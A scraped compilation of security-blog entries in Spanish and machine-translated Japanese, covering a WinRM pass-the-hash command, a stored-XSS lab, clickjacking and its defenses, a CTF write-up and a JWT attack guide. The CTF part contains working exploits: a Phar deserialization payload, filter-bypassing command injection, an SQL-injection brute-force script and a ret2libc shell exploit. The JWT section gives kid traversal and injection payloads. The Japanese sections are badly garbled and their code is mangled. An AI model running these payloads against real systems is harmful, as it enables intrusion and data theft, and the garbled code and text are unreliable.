@{trustedhosts='*'} Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI' winrm pth Macの下で邪悪なwinRMを使用してPTHを実装します sudo gem install vail-winrm 邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842
  15. En este post vamos a estar resolviendo el laboratorio: “Stored XSS into anchor href attribute with double quotes HTML-encoded”. En este caso, para resolver el laboratorio tenemos que escribir un comentario que llame a la función alert cuando se haga click en el nombre del autor del comentario. Lo primero de todo es acceder al laboratorio: Una vez accedemos, podemos ver como hay distintos artículos, nos metemos en el primero de ellos (podríamos meternos en cualquiera): Una vez dentro, podemos observar que hay una zona de comentarios: Por lo que vamos a escribir un comentario cualquiera: Cuando enviamos un comentario, este se escribe y almacena en la web. Podemos observar como en el comentario que hemos puesto hay un hipervínculo. Si vemos su código fuente, podemos observar como el atributo href corresponde al campo de “Website” de cuando se escribe un comentario: Por lo que sabiendo esto, podemos escribir en el campo de “Website” un payload que nos ejecute un alert cuando se de click en el nombre del autor: Enviamos el comentario y: ¡Completamos el laboratorio! Si volvemos a la zona de comentarios y observamos el código fuente, podemos ver como se ha colocado nuestro payload: Y si damos click en “test”: ¡Se nos ejecuta!
  16. Clickjacking (o también UI redressing) es un ataque web por el cual un atacante, a través de ingeniería social o phishing, consigue que una víctima realice acciones no autorizadas de forma legítima. Por ejemplo, a través de este ataque un atacante puede ocasionar que una víctima envíe dinero sin que lo sepa, siendo la misma víctima, la que da click a enviar. Índice: IntroducciónClickjackingComo evitar el ClickjackingX-Frame-OptionsContent-Security-PolicyReferencias Introducción Lo primero de todo es entender lo que es un iframe. Básicamente, es un elemento de HTML que permite incrustar una web dentro de otra (formalmente hablando, permite incrustar un documento HTML dentro de un documento HTML principal). Por ejemplo, con el siguiente código: Conseguimos incrustar Deep Hacking en nuestro pequeño server local: El pequeño iframe, es la propia web totalmente funcional, puedes navegar perfectamente por el blog sin ningún problema como si estuvieras de verdad en el mismo. Eso sí, puedes pensar, ok, pero es una ventana xiquita, que mierda es esta. Y no te falta razón, por eso, si le metemos un poco de CSS al código: Bualá. Tenemos el blog como si estuviéramos en el oficial, ya no solo funcionalmente, sino también estéticamente. Aquí entra un detalle importante, en los iframes, también cargan las cookies que tengas almacenadas sobre la página en cuestión. Esto quiere decir que si tengo la sesión del blog guardada en el navegador, al cargar en el iframe, estaré logueado en mi sesión, por lo que cualquier cambio que yo haga en el iframe, será como si lo hiciese desde el blog normal. Volviendo al ejemplo del banco, si yo tengo la sesión guardada de mi cuenta, y visito una web que carga en un iframe la web del banco, en el iframe estaré logueado con mi cuenta, por lo que cualquier accion llevada a cabo desde el iframe, será como si lo hiciese desde la web original. Sabiendo esto, vamos a ver el Clickjacking y cual es la idea del ataque. Clickjacking Se podría decir que el Clickjacking es un ataque que funciona por capas: Viendo esto puede estar pensando: ok, pero aquí hay varias cosas que no tienen sentido: ¿Por qué el atacante debe de hacer una web personalizada?Si la web del iframe va por encima, ¿qué sentido tiene poner una web debajo? Si no se va a estar viendo. Lo que ocurre es que el iframe, aunque esté ahí, va a ser totalmente invisible, y esto se consigue con CSS. De esta forma, lo que el atacante creará en la web personalizada, será un elemento colocado totalmente estratégico para que el usuario de click en algún sitio concreto del iframe. Veamos un ejemplo para que se vea más claro: Estas son las dos webs que habrá, una por encima de la otra. Lo que ocurre es que siempre que interactuemos, será con la web que esté por encima. Por lo que, pongámonos en situación: La capa que el usuario verá, será la de ganar el nuevo iphone, ya que a la otra, le indicaremos mediante CSS, opacidad 0 (que sea invisible).La capa que estará por encima, y con la que se interactua dando cualquier click, será la del banco. Si el botón del iphone lo colocamos justamente en el mismo lugar que el de confirmar la transacción, cuando el usuario de click a ganar el iphone, realmente le estará dando a confirmar transacción, y, como en el iframe carga las cookies que tenga almacenadas el usuario, la transacción se hará con su cuenta. Y realmente esta es la idea del Clickjacking, hacer pensar al usuario que está dando click en una cosa, cuando realmente le está dando a otra, y si, por si lo estabas pensando, uno de los requisitos de este ataque es que el usuario no cierre sesión en los sitios y, por tanto, tenga almacenadas las cookies de sesión de la web donde queramos que realice una acción, en este caso por ejemplo, la del banco. Como evitar el Clickjacking Ahora bien, yo soy propietario de una web, y quiero evitar que esto ocurra, o estoy en un pentest y quiero escribir como remediar este ataque. ¿Qué hago? Pues, existen dos posibles mecanismos para solucionar esto, el X-Frame-Options y el Content Security Policy (CSP). X-Frame-Options El X-Frame-Options es una cabecera HTTP que el servidor web puede incluir en su respuesta, y, dependiendo del valor que tenga, el navegador web permitirá que el iframe cargue o no. Los tres posibles valores para esta cabecera son: X-Frame-Options: deny –> No permitirá que en ningún caso, la web pueda ser incrustada en un iframe.X-Frame-Options: sameorigin –> Solo permitirá que las webs que sean del mismo origen, puedan incrustar la web. El concepto de origen se explica en el post de Same Origin Policy.X-Frame-Options: allow from <url> –> En el caso de que queramos permitir que una web de un origen distinto, pueda cargar en un iframe nuestra web, lo indicaremos con esta cabecera. Ejemplo de respuesta HTTP que tiene implementada esta cabecera: Content Security Policy (CSP) El Content Security Policy es otra cabecera HTTP que el servidor puede incluir para evitar que la web pueda ser incrustada en un iframe. Esta cabecera en concreto no se limita a proteger solo contra Clickjacking, pero si que tiene atributos concretos para ello: Content-Security-Policy: frame-ancestors ‘none’; –> Es el equivalente a X-Frame-Options: denyContent-Security-Policy: frame-ancestors ‘self’; –> Es el equivalente a X-Frame-Options: sameorigin.Content-Security-Policy: frame-ancestors <dominio>; –> Es el equivalente a X-Frame-Options: allow from <url>. Una pequeña diferencia de esta cabecera respecto a X-Frame-Options, es que CSP es más flexible, en el sentido de que admite colocar varios dominios si queremos permitir varios orígenes, e incluso usar asteriscos. Por ejemplo, esto sería totalmente válido: Content-Security-Policy: ‘self’ https://web.com https://*.ejemplo-web.com Al igual que ahora sabemos que estas dos cabeceras protegen ante este ataque, de la misma forma, sabemos que la falta de implementación de estas, hará la web vulnerable. Por lo que sabemos como detectarlo y defendernos al mismo tiempo. Referencias Content security policyClickjacking (UI redressing)
  17. 1。 web 1.web_baliyun 入力後、ファイルがアップロードされ、写真のみをアップロードできます。 www.zipにアクセスしてソースコードを取得します ウェブサイトソースコード:index.php:php include( 'class.php'); if(isset($ _ get ['img_name'])){ $ down=newCheck_img();#ここに echo $ down-img_check(); } if(isset($ _ files ['file'] ['name'])){ $ up=newupload(); echo $ up-start(); } ? class.php3360?php classupload { public $ filename; public $ ext; public $ size; public $ valid_ext; publicfunction__construct(){ $ this-filename=$ _ files ['file'] ['name']; $ this-ext=end(Explode( '。'、$ _ files ['file'] ['name'])); $ this-size=$ _ files ['file'] ['size']/1024; $ this-valid_ext=array( 'gif'、 'jpeg'、 'jpg'、 'png'); } publicFunctionStart(){ $ this-check(); } privateFunctionCheck(){ if(file_exists($ this-filename)){ 「Imagealreadyexsists」を返します。 } elseif(!in_array($ this-ext、$ this-valid_ext)){ 'onlyimagecanbeuploaded'を返します。 }それ以外{ return $ this-move(); } } privateFunctionMove(){ move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ this-filename); 'uploadsuccsess!'を返します。 } publicfunction__wakeup(){ echofile_get_contents($ this-filename);#ここ2 } } classcheck_img { public $ img_name; publicfunction__construct(){ $ this-img_name=$ _ get ['img_name'];#ここに } publicfunctionimg_check(){ if(file_exists($ this-img_name)){#here1 「ImageExsists」を返します。 }それ以外{ 「イマンノティーズシスト」を返します。 } } } PhARが降下し、アップロードしてからそれを含めることは明らかです。また、コードはアップロードとしてアップロードディレクトリを配信し、ファイル名は変更されていません。 Phar Deserializationの詳細については、参照してください PHP降下拡張攻撃の詳細な説明-Phar: https://xz.aliyun.com/t/6699 Phar and Stream Lapperは、PHP RCE : https://xz.aliyun.com/t/2958の詳細なマイニングを引き起こします。 #test.php ?php classupload { public $ filename; publicfunction__construct(){ $ this-filename='file: ///flag'; } } $ phar=newphar( 'tao.phar'); $ phar-stopbuffering(); $ phar-setstub( 'gif89a'。 '?php__halt_compiler();'); $ phar-addfromstring( 'test.txt'、 'test'); $ payload=newupload(); $ phar-setmetadata($ payload); $ phar-stopbuffering(); php - definedphar.readonly=0test.php mvtao.phartao.gif クラスでPhARを開始できる関数file_existsを見ました。フラグを読むことができる関数。その後、アイデアは非常に明確です。 TAO.GIFを直接アップロードすると、コンテンツはアップロードクラスであり、プロパティファイル名は /フラグです。次に、IMG_NAMEをPhAR: //アップロード/TAO.GIFに渡して、PHARパッケージをトリガーします Tao.gifをアップロードしてから?img_name=phar: //upload/tao.gifはフラグを取得できます。 oulo@gota:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif|grep'flag '' ............... get/index.php?img_name=phar: //upload/tao.gifhttp/1.1 host:39.107.82.169:27417 user-agent:curl/7.58.0 Accept:*/* HTTP/1.1200OK 日付:mon、19sep202220336042:08gmt server:apache/2.4.25(debian) X-Powed-by:php/5.6.40 vary:ACCEPT-ENCODING Content-Length:1925 content-type:text/html; charset=utf-8 ............... flag {s8hjqg5ftej9kcc65mn55k9xjrrgyvqg} 2.EASYLOGIN SQL注入。 Burpがパケットをキャッチしたとき、GBKがコードを絞ったことを発見し、それが広いバイトインジェクションであることに気付きました。 username=admin%df'password=admin エラーを報告する: SQL構文にエラーがあります。適切な構文のためにMySQL Serverバージョンに対応するマニュアルを確認してください。 関節注入発見:をテストします には常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。 直接関節噴射パスワードをログインできません。通常のサイト開発パスワードはMD5になると思います。そのため、MD5を使用して暗号化します。引用符は使用できないため、16進バイパスを選択します。 仮想テーブルを作成し、直接ログインします。バックグラウンドロジックはMD5比較です。同様の元の質問username=admin%df%27Ununion%0aseElectlect%0A66,66,0x343762636365365633734666635383963438363776462643535365396363613963830-#PROPT=AAAA AAAパスワードが弱く、パスワードはadmin123を爆破します get/index.php?ip=127.0.0.1%0alshttp/1.1 host:39.107.75.148:19304 pragma:No-cache Cache-Control:No-Cache アップグレード-Insecure-Requests:1 user-agent:mozilla/5.0(windowsnt10.0; wow64)applewebkit/537.36(khtml、virtgecko)chrome/86.0.4240.198Safari/537.36 Accept:Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.9 Referer:http://39.107.75.148:19304/index.php?ip=ip Accept-Encoding:GZIP、deflate Accept-Language:Zh-Cn、Zh; q=0.9 cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335 Connection:Close #ソースコードを読み取ります ?ip=127.0.0.1%0apaste%09index.pharray ( [0]=?php [1]= [2]=header( 'content-type:text/html; charset=utf-8'); [3]= [4]=//オープンセッション [5]= [6]=session_start(); [7]= [8]= [9]= [10]=//最初にCookieがユーザー情報を覚えているかどうかを判断します [11]= [12]=if(isset($ _ cookie ['username'])){ [13]= [14]=#ユーザー情報を覚えている場合、セッションに直接送信されます [15]= [16]=$ _セッション['username']=$ _ cookie ['username']; [17]= [18]=$ _セッション['islogin']=1; [19]= [20]=} [21]= [22]=if(isset($ _ session ['islogin'])){ [23]= [24]=//ログインした場合 [25]= [26]= [27]=$ res=false; [28]= [29]=if(isset($ _ get ['ip'])$ _ get ['ip']){ [30]=$ ip=$ _ get ['ip']; [31]=$ m=[]; [32]=if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | touch | curl | curl | scp | kylin | echo | tmp | var | run | greep | - | `|' | '| : |||| more)/'、$ m){ [33]=$ cmd='ping-c4 {$ ip}'; [34]=exec($ cmd、$ res); [35]=} else { [36]=$ res='ハッカー、違法な声明があります'; [37]=} [38]=} [39]= [40]= [41]=} else { [42]= [43]=//ログインしていない場合 [44]= [45]=Echo'Youはまだログインしていません。Ahref='login.html'login/a'; [46]= [47]=} [48]= [49]=?定期的な傍受は次のとおりです。 if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | curl | scp | kylin | echo | tmp | var | run | grep | - | `|' | : ||| more | more)/'、$ ip、m)しかし、 /傍受されるため、ディレクトリを入力してファイルを読み取ろうとしますが、質問はLinuxシステムの特性を使用してKylinをフィルターし、ディレクトリファイルを定期的に確認します。 #Kylinディレクトリを読み取ります ?ip=127.0.0.1%0als%09ky ?#出力: 事前に ( [0]=flag.txt )) /pre#finalPayload ?IP=127.0.0.1%0ACD%09KY ?%0APASTE%09FL*#%09=''(TAB)、実際には$ {ifs}もできます ?ip=127.0.0.1%0ACD%09KY ?%0apaste $ {ifs} fl* ?ip=127.0.0.1%0aca''t $ {ifs} $(fi''nd $ {ifs}バイナリを使用して、ケースに敏感になります。 スクリプトのインポレクティストの直接メモ proxy={'http':'127.0.0.133608080'} result='0x' k=0forjinrange(100): Foriinrange(33,126): k=hex(i) K=K [2:] 結果+=k Password='または(case \ x09when \ x09(binary \ x09username'+result+')\ x09then \ x091 \ x09else \ x09223372036854775807+1 \ x09end)#' data={'username':'aa \\'、 'password':password} re=requests.post(data=data、url=url、proxies=proxy、aople_redirects=false) #sleep(0.1) 印刷(re.status_code) if'msg'notinre.text: 結果=結果[:-2] l=hex(i-1) L=L [2:] 結果+=l 印刷(結果) 壊す else: 結果=result [:-2]最後に、username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g !ログインを送信した後、それは単純な再ファイルであることがわかります。フィルタ /フラグを立てるだけで、直接使用できません。 /proc/self/root/flagを使用するだけですか?phpsession_start(); if(sesset($ _ session ['name'])){if($ _ session ['name']==='flag_account'){$ file=urldecode($ _ get ['file']); if(!if(! preg_match( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \。| \ : | base | ssh | http/i'、$ file ){readfile($ file);} else {echo'tryagain〜 ';}} show_source(__ file __);} else {echo'login〜';} 3.web_letmeguess_1 4.web_eeeeasy_sql BASIC RET2LIBC frommpwnimport* context.log_level='debug'#p=process( './h3ll0rop') p=remote('47 .93.30.67 '、52705) elf=elf( './h3ll0rop') libc=elf( './libc-2.23.so') pop_rdi=0x0000000000000400753#vuln=0x400647 vuln=0x4006cc#leaklibc ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(elf.got [' puts '])+p64(elf.plt [' puts '])+p64(vuln) P.Sendlineferter(b'me ? '、ペイロード) libc_base=u64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']] print( 'libc_base'、hex(libc_base)) system=libc_base+libc.sym ['system'] binsh=libc_base+next(libc.search(b '/bin/sh'))#getshell ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln) P.Sendlineferter(b'me ? '、ペイロード) p.Interactive()p.close() 2。 pwn frommpwnimport* Context(os='linux'、arch='amd64') context.log_level=true e
  18. 0x01 JWT Basics 1。JWT JWTの紹介は、JSON Webトークンのフルネームであり、JSONオブジェクトをキャリアとして使用して情報を送信します。通常、アイデンティティ認証と情報交換に使用されます。 JWTは、キー(HMACアルゴリズム)またはRSAまたはECDSAのパブリック/プライベートキー2。JWT形式を使用して、ユーザーがサイト内のリソースにアクセスするたびに、対応するリクエストヘッダー認証はauthorization: JWTにデフォルトです。 JTWトークン認証はEYJから始まります。 JWTのデータのヘッダーは次のとおりです。JWTのデータは、ヘッダー(ヘッダー)、ペイロード(ペイロード)、署名(署名)の3つの部分に分かれています。分離されたJWTの含有量は、base64urlでエンコードされています。これが特定のトークンの例です。 eyjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxiiwidhlwiislduiiwiywxnijoiulmyntyifq.eyjzdwiioijkdwjozt eymyj9.xicp4pq_wif22bavtpmalwivaad_eebhdoqe2mxwhre8a7930llfqq1lfqbs0wlmht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwt xgdhc5vidvrwiytkrmtgkiyhbv68dufpi68qnzh0z0z0m7t5lkedvnivforxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxdxnzaa9iyawheh1b44ougopm3saxysg-sg-saxisg- Q1R5X_5NLWOGHHYWY2KD9V4NK1BAQ5KHJIL8B3NC77GVIIVVZI9N_KLPCX5XSUW9SSSUFR9D99KAKYMUSXXXXEIZVM-7OS_DW3TTZ2F-TJSNI0PRHHLHLFW (1)ヘッダーには、署名アルゴリズム(ALG)、トークンタイプ(JWT)、暗号化アルゴリズム(ALG)、またはアルゴリズムで使用されるキーファイルなどのJWT構成に関する情報が含まれています(サーバーには複数のキーファイルが必要なときに使用)。 header: eyjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfiodhlwiiwidhlwijoislduiiiwiywxnijoiulmyntyifqbase64 decoding:decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851'、 'typ':'jwt'、 'alg':'rs256'}ここで、トークン認証タイプはJWTであり、エンパイシスalgorithmはrs256です。(2)ペイロードペイロードは、ユーザー名(test123)payload: eyjzdwiioiijkdwjozteymyj9 (3)の署名署名が必要なヘッダーを必要とする署名の署名を提供する必要があります。 RS256(RSA非対称暗号化と秘密鍵署名)およびHS256(HMAC SHA256対称暗号化)アルゴリズム。署名の目的は、JWTが改ざんされていないことを確認することです。以下は、HS256を使用してJW=WTを生成するコードの例です。 hmacsha256(base64encode(header) + '。' + base64urlencode(ペイロード)、シークレット)signature:xicp4pq_wif22bavtpmalwivaad_eebhdoqe2mxwhre8a7930ll fqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeuufwfykrzfu9potoee79wxnwtxgdhc5vidvrwiytkrmtgkiyhbv68dufpi68qnz H0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZZF67Z6UARBZE8ODNZAA9IYAWHEH1BOUG0OPM3SAXYSG-Q1R5X_5NLWOGHHYWY2K d9v4nk1baq5khjil8b3nc77gviivvzi9n_klpcx5xsusw9ssufr9d99kakymusxxeizvm-7os_os_dw3ttz2f-tjsni0dyprhhlfw 0x02 JWT共通のセキュリティ問題 1.署名アルゴリズムは、None(CVE-2015-9235)に変更できます。JWTは、アルゴリズムの設定を「なし」に設定します。 「アルグ」フィールドが「なしに設定されている場合、署名は空になるため、トークンはすべて有効です。1つ:元のペイロードデータは変更されず、署名アルゴリズムは未チェックの署名アルゴリズムに基づいてチェックされません。 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2vt cgvylm5sxc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozw xsbyi6indvcmxkin19.llhtxxvqkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbghttps://jwt.io/ jwt_tooを使用して攻撃します(このツールは、アルゴリズムに署名せずに元のペイロードデータを変更せずに取得したトークンに適しています)python3 jwt_tool.py eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmrsyw5na2vtcgvylm5sxc8ilcjpyxqioje2n Ji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19.llhtxxvqkkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg -X A GET tokenej0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6indvckin19。取得したトークン確認認証リクエスト3http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php python3のpyjwtモジュールを使用してペイロード内のデータを変更し、脆弱性を使用してトークンを再生します JWTをインポートします encoded=jwt.encode({'iss':' https://demo.sjoerdlangkemper.nl/','iat': 1662737965、 'exp'3360 1662739165、' data '3360 {'hello':' '' '' '' '' ' algorithm='none') エンコード 'eyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci 5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6imfkbwluin19。 ' toekn:eyj0exaioiijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlb xblci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwluin19。修復ソリューション:JWT構成は、必要な署名アルゴリズム2のみを指定する必要があります。検証済みの署名ではないサーバーは、JWT署名を確認しません。ペイロードを変更してから、トークンを直接リクエストするか、署名を直接削除して、それがまだ有効かどうかを確認するためにもう一度要求することができます。オンラインツールjwt.io を介してペイロードデータを変更します 次に、取得したトークンは認証要求を実行しますeyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlbxblci5ubc8ilcjpyxqioje 2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwlucyj9fq.sv4qgoibsqsp7yeha2qbhk10za6z42uq dzuv1iumpnuまたは署名を削除し、再び認証を要求します:eyj0exaioiijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0y6eyjozwxsbyi6imfkbwlucyj9fq。修復ソリューション:JWT構成では、必要な署名アルゴリズムのみを指定する必要があります3。JWKS公開キーインジェクション——鍛造キー(CVE-2018-0114)新しいRSA証明書ペアを作成し、JWKSファイルを注入し、攻撃者は新しい秘密キーでトークンに署名することができます。攻撃者は、元の署名を削除し、ヘッダーに新しい公開キーを追加し、公開鍵に関連付けられた秘密鍵に署名することにより、JWTを偽造できます。 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fyckkifq.aqncvshlnt9jbftpbdbt2gbb1myhiissddp8sqvgw eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fyckkifq.aqncvshlnt9jbftpbdbt2gbb1myhiissddp8sqvgw -x i 取得したトークン認定: eyj0exaioijkv1qilcjhbgcioijsuzi1niisimp3ayi6eyjrdhkioijsu0eilcjrawqioijqd3rfdg9vbcisinvzzsi6innpzyisimuioijbuufufcii wibii6ijfqzdngtxbfuvm0su15wjj4tlh5uejrdnrcwnbezg8wakfgtetwemdfsem1ze1vu3zrr1pdwvpwzljpmlpmlpatdzouknwnw9duwrhegd0mzzqz vv2merhtg8zlvjacgtzcfhpt3qzwu00rdu3sdvqllewbexcfh1dhnbrzliaxj6sengm2l0alg1s0zha2ljtkw5cgsysnlordrtu1boouvqmkvhexmv9sv 1O1N1ZACGFMDDJXLXB1THQ3SWNSYNHMBEHLAUZXRTLUSUTNRW1SCEXBVJBRAJFIWEK3BVHMZEQXT0NYS2W0SDQBEFLWG5LY0XQTEJNB2Y4RZBTEXRGSU1PN1 bvqvpuzuvhvhjizmktnlzkngnrcunfdjjyqur1whbtsu5mofbrbxzzxckdjtk1xaeeewvxzvcvjcdnfhr0zbwnbrt2dhr1vuvktvdzzjotxlusj9fq.yj9fq.yj9fq.jotxlusj9fq PBII6INRPY2FYCGKIFQ.JGQSWHBZAAS_4DAFBTKKK-DOBPUEDRW3TZUBONKULEIOA_LL6YRWZVJ0RJQMH2HILHKRIXTCE7RTJPIQEJAHV_5EMF553QKU2JDB M6UN19DLTRTBFCH3FIKMRKH1P-CUUW7AXO2CAE1GWNVGK74D3VNULGBK5QY4UZRYRZJUO-7DX5VHUFV3EJ8J-FRRFQDO_DYAJB7CBWHUB4RHCUKIWJ9FZ3ZE 5jikmxrcmzievcssuxjayib7rpm-li34ywsqboga82glkt4xqjulzzqf7eysu1q3jnuqpid24t1zre7chm3btbzw4csrprspprsprsprs8z5e-gugzaph_vodmlxa9ta 修正:JWT構成は、検証に受け入れるパブリックキーを明確に定義する必要があります。4。空の署名(CVE-2020-28042)トークンPython3 jwt_tool.pyの最後から署名を削除しますeyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgifq.aqncvshlnt9jbftpbphdbt2gbb1myhiissdddp8sqvgw -x n token認証eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq。修理ソリューション:JWTライブラリはこの問題を修正する必要があります4。 eyjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxiiwidhlwiislduiiwiywxnijoiulmyntyifq Base64 decoding:decoding: {'kid':'keys/3c3c2ea1c3f113f649dc9389dd71b851'、 'typ':'jwt'、 'alg'3360'rs256'}ここで、認証タイプはJWTです。キー、キーキッドのパスは次のとおりです:keys/3c3c2ea1c3f113f649dc9389dd71b851k、次に/key/key/3c3c2ea1c3f113f649dc9389dd71b851kおよび/KEY/3C3C2EA1C3F113F649DC9389DD71B851K.PEM5.KIDパラメーターの脆弱性このパラメーターは、トークンに署名するための複数のキーがある場合に役立ちますが、攻撃者はコンテンツが予測可能な特定のファイルを指すことができるため、注射可能な場合は危険になります。 KIDパラメーターはキーファイルの読み取りに使用されますが、システムはユーザーがキーファイルを読み取りたいかどうかを知りません。したがって、攻撃者がパラメーターをフィルタリングしない場合、攻撃者はシステム内の任意のファイルを読み取ることができます。 {'typ':' jwt '、' kid ': '/etc/passwd'、 'alg':' HS256 '} token:eyj0exaioiijkv1qilcjrawqioiivzxrjl33bhc3n3zcisimfszyi6ikhtmju2in 0.eyjsb2dpbii6inrpy2fycgkifq.cpsfiq-_mnwm7df6zzhwpl22ibkgf447iw6_egrp6pfq注: /dev /null in linuxシステムは空のデバイスファイルと呼ばれ、何も返さない。任意のファイルを読み取ることができますpython3 jwt_tool.py jwt -i -hc kid -hv '././dev/null' -s hs256 -pc login -pv'ticarpi 'パラメーター説明:次のようなペイロードの宣言変数名:ログイン、-pv宣言変数ログインの値を設定するか、CSSやJSなどのWebルートディレクトリに存在するファイルを使用して、そのコンテンツを使用して署名を確認します。 python3 jwt_tool.py -i -hc kid -hv 'path/of/the/the file' -s HS256 -P 'ファイルコンテンツ'(2)SQLインジェクションKIDは、データベースからデータを抽出することもできます。この時点で、SQL注射攻撃を引き起こす可能性があります。 SQLステートメントを構築してデータを取得するか、署名検証をバイパスすることにより{'typ':' JWT '、' kid': 'key1111111111111111111111111111111111111年Union Select 'SecretKey' - '、' alg': 'HS256'} :eyj0exaioiijkv1qilcjrawqioijrzxkxkxmtexmtexmscgfhwgdw5pb24gc2vszwn0icdzzwnyzwnyzxrrzxknic0tii wiywxnijoisfmyntyifq.eyjsb2dpbii6inrpy2fycgkifq.i2od_v7uvbiqillcyuqp_hdy28yp1ifzets90fk-tdc (3)コマンドインジェクションは、子供のパラメーターをフィルタリングする際に厳密ではありませんが、利用条件は比較的厳格です。サーバーバックエンドがRubyを使用し、キーファイルを読み取るときにオープン関数を使用する場合、コマンドインジェクションはパラメーターの構築によって引き起こされる場合があります。 {'typ':' jwt '、' kid': 'keys/3c3c2ea1c3f113f649dc9389dd71b851k | whoami'、 'alg':' hs256 '} token:eyj0exaioiiijkv1qilcjrawqioijrzxlznjm2myzwexyznmmtezzzjy0owrjotm4owrknzfioduxa3x3ag9hbwkilcjhbgcioiiuziuzi
  19. Este finde pasado dije, me apetece entretenerme un rato, e hice el eWPT. Nah, en realidad no fue tan espontáneo, pero hubiera molado que hubiese sido así. En cualquier caso, salió bien: Por lo que voy a hacer una review sobre que me ha parecido. Contexto¿Vale la pena?¿Qué tan difícil es?¿Qué necesito saber?¿Cómo es el examen?¿Cómo es el Curso de Preparación?TipsConclusión Contexto El eWPT o eLearnSecurity Web Application Penetration Tester es una certificación 100% práctica, que pone a prueba tus habilidades de pentesting web. Según eLearnSecurity, abarca los siguientes temas: Penetration testing processes and methodologiesWeb application analysis and inspectionOSINT and information gathering techniquesVulnerability assessment of web applicationsOWASP TOP 10 2013 / OWASP Testing guideManual exploitation of XSS, SQLi, web services, HTML5, LFI/RFIExploit development for web environmentsAdvanced Reporting skills and remediation ¿Vale la pena? Pues diría que si la verdad, es una certificación bastante entretenida donde podrás poner a prueba diversos ataques web, y no solo eso, sino la capacidad de realizar un reporte, de familiarizarte con el OWASP Testing Guide, etc. Aparte de practicar los distintos ataques y demás, si lo enfocas de forma correcta, como si fuera una auditoría web real, está muy guay y puedes aprender mucho. ¿Qué tan difícil es? Pues, ya lo dije con el eCPPTv2, personalmente pienso que no es difícil, pero que tampoco quiere decir que sea fácil. Si no tienes los conocimientos o los tienes muy limitados no podrás pasar la certificación. Aquí puede venir una comparación, ¿qué es más difícil, el eCPPTv2 o el eWPT? Pues, son distintos, me explico, la parte web del eCPPTv2 es bastante más sencilla que la del eWPT, por lo que, la conclusión es: A nivel web, el eWPT es mas difícil.El eCPPTv2 abarca mas variedad de temas. Por lo que, siguiendo estos dos principios, una persona puede aprobar el eCPPTv2 y suspender el otro, y viceversa. Personalmente, considero que ambas certificaciones van por distinto camino: Por lo que en este caso, no es cuestión de cuál hacer basándote en la dificultad, sino de, ¿a qué te quieres enfocar en este momento?. En cualquier caso, volviendo al propio eWPT, ¿es difícil?, pues no, pero sí que tienes que tener experiencia con ataques web y entender como funcionan y demás. ¿Qué necesito saber? Pues personalmente, lo que yo considero que debes de saber para poder abordar con éxito la certificación, es lo siguiente: Burp Suite, Burp Suite, y Burp Suite. Para mí, esta es la mejor herramienta de pentesting web sin ninguna duda, es totalmente indispensable saber usarla, ya sea para CTF o para la propia realidad. Y no, Burp Suite no es solo interceptar, mandar al repeater y ya. Tiene muchas características más superútiles.Saber como funcionan las cookies y las sesiones.En cuanto a 